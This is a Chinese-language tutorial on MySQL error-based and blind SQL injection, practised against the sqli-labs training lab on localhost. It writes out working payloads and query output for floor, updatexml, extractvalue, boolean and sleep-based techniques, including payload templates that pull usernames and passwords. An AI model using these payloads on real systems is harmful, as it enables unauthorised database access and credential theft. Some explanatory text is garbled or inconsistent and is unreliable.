所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
我们本文就以如下数据库作为测试数据库,完成我们的注入分析。
在学习盲注之前,首先要了解一下在sql盲注中所涉及到的函数以及使用方法。
SELECT MID(column_name,start[,length]) FROM table_name;
column_name 必需。要提取字符的字段。
start 必需。规定开始位置(起始值是 1)。
length 可选。要返回的字符数。如果省略,则 MID() 函数返回剩余文本。
select * from table limit m,n;
其m指记录始index0始表示第条记录 n指第m+1条始取n条
MySQL的concat函数在连接字符串的时候,只要其中一个是NULL,那么将返回NULL
和concat不同的是, concat_ws函数在执行的时候,不会因为NULL值而返回NULL
group_concat([DISTINCT] 要连接的字段 [Order BY ASC/DESC 排序字段] [Separator '分隔符'])
基于floor,UpdateXml(有长度限制,最长32位),ExtractValue(有长度限制,最长32位)进行报错注入。
mysql> select count(*),(concat(0x3a,database(),0x3a,floor(rand()*2))) name from information_schema.tables group by name;
mysql> select count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x3a,floor(rand()*2)) name from information_schema.tables group by name;
mysql> select count(*),concat(0x3a,0x3a,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x3a,floor(rand()*2)) name from information_schema.tables group by name;
mysql> select count(*),concat(0x3a,0x3a,(select username from users limit 0,1),0x3a,floor(rand()*2)) name from information_schema.tables group by name;
mysql> select updatexml(0,concat(0x7e,(SELECT concat(table_name) FROM information_schema.tables WHERE table_schema=database() limit 3,1)),0);
ERROR 1105 (HY000): XPATH syntax error: '~users'
mysql> select updatexml(0,concat(0x7e,(SELECT concat(column_name) FROM information_schema.columns WHERE table_name='users' limit 4,1)),0);
ERROR 1105 (HY000): XPATH syntax error: '~password'mysql> select updatexml(0,concat(0x7e,(SELECT concat(column_name) FROM information_schema.columns WHERE table_name='users' limit 3,1)),0);
ERROR 1105 (HY000): XPATH syntax error: '~user'
mysql> select updatexml(0,concat(0x7e,(SELECT concat(password) FROM users limit 0,1)),0);ERROR 1105 (HY000): XPATH syntax error: '~Dumb'mysql> select updatexml(0,concat(0x7e,(SELECT concat(password) FROM users limit 1,1)),0);
ERROR 1105 (HY000): XPATH syntax error: '~I-kill-you'
extractvalue报错
mysql> select extractvalue(1, concat(0x5c,(select table_name from information_schema.tables where table_schema=database() limit 3,1)));
ERROR 1105 (HY000): XPATH syntax error: '\users'
mysql> select extractvalue(1, concat(0x5c,(select password from users limit 1,1)));ERROR 1105 (HY000): XPATH syntax error: '\I-kill-you'mysql> select extractvalue(1, concat(0x5c,(select password from users limit 0,1)));
ERROR 1105 (HY000): XPATH syntax error: '\Dumb'
mysql> select extractvalue(1, concat(0x5c,(select table_name from information_schema.tables where table_schema=database() limit 3,1)));
ERROR 1105 (HY000): XPATH syntax error: '\users'
mysql> select extractvalue(1, concat(0x5c,(select password from users limit 1,1)));ERROR 1105 (HY000): XPATH syntax error: '\I-kill-you'mysql> select extractvalue(1, concat(0x5c,(select password from users limit 0,1)));
ERROR 1105 (HY000): XPATH syntax error: '\Dumb'
通过构造sql语句,通过判断语句是否执行成功来对数据进行猜解。
mysql> select table_name from information_schema.tables where table_schema=database() limit 0,1;
mysql> select substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1) m;
mysql> select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) m;
获取字段名与字段内容原理一样。
以Sqli-labs Less8为例,无论输入什么就只有正确和错误,于是可以判断基于布尔的盲注。
http://127.0.0.1/sqli-labs/Less-8/?id=1' and length(database())>8 --+
发现当值为8的时候,页面就没有显示。那么说明database()的长度是8
可以使用如下脚本猜解数据库名字:
http://127.0.0.1/sqli-labs/Less-8/?id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>0 %23
发现当值为6的时候,页面就没有显示。那么说明表的长度是6
和上面类似,只需要把payload修改为下面即可:
http://127.0.0.1/sqli-labs/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{0},1))>{1} %23
payload = "http://127.0.0.1/sqli-labs/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name=0x7573657273 limit 4,1),{0},1))>{1} %23"
payload = "http://127.0.0.1/sqli-labs/Less-8/?id=1' and ascii(substr((select username from users limit 0,1),{0},1))>{1} %23"
payload = "http://127.0.0.1/sqli-labs/Less-8/?id=1' and ascii(substr((select password from users limit 0,1),{0},1))>{1} %23"
基于的原理是,当对数据库进行查询操作,如果查询的条件不存在,语句执行的时间便是0.但往往语句执行的速度非常快,线程信息一闪而过,得到的执行时间基本为0。但是如果查询语句的条件不存在,执行的时间便是0,利用该函数这样一个特殊的性质,可以利用时间延迟来判断我们查询的是否存在。这便是SQL基于时间延迟的盲注的工作原理
首先理解一下下面的语句:
if(database()=’security’,1,2)
判断数据库名是否为security,正确返回1,错误返回2。基于时间的注入和基于布尔差不多,引入了if语句进行判断。
mysql> select if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>117,sleep(5),NULL) m;
1 row in set (0.00 sec)
mysql> select if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(5),NULL) m;
1 row in set (5.00 sec)
以Sqli-labs Less8为例,无论我们怎么输入,输出结果都是You are in ,所以判断为基于时间的盲注。
http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(length(database())>9,0,sleep(5)) --+
剩余步骤和基于布尔的差不多,只是加了一个if判断语句进行判断。
payload = "http://127.0.0.1/sqli-labs/Less-8/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{0},1))>{1},0,sleep(5)) %23"
payload = "http://127.0.0.1/sqli-labs/Less-8/?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name=0x7573657273 limit 4,1),{0},1))>{1},0,sleep(5)) %23"
payload = "http://127.0.0.1/sqli-labs/Less-8/?id=1' and if(ascii(substr((select password from users limit 0,1),{0},1))>{1},0,sleep(5)) %23"
本文总结了关于sql注入中的报错注入和盲注的一些原理以及测试方法。感谢Hello_C的总结分享。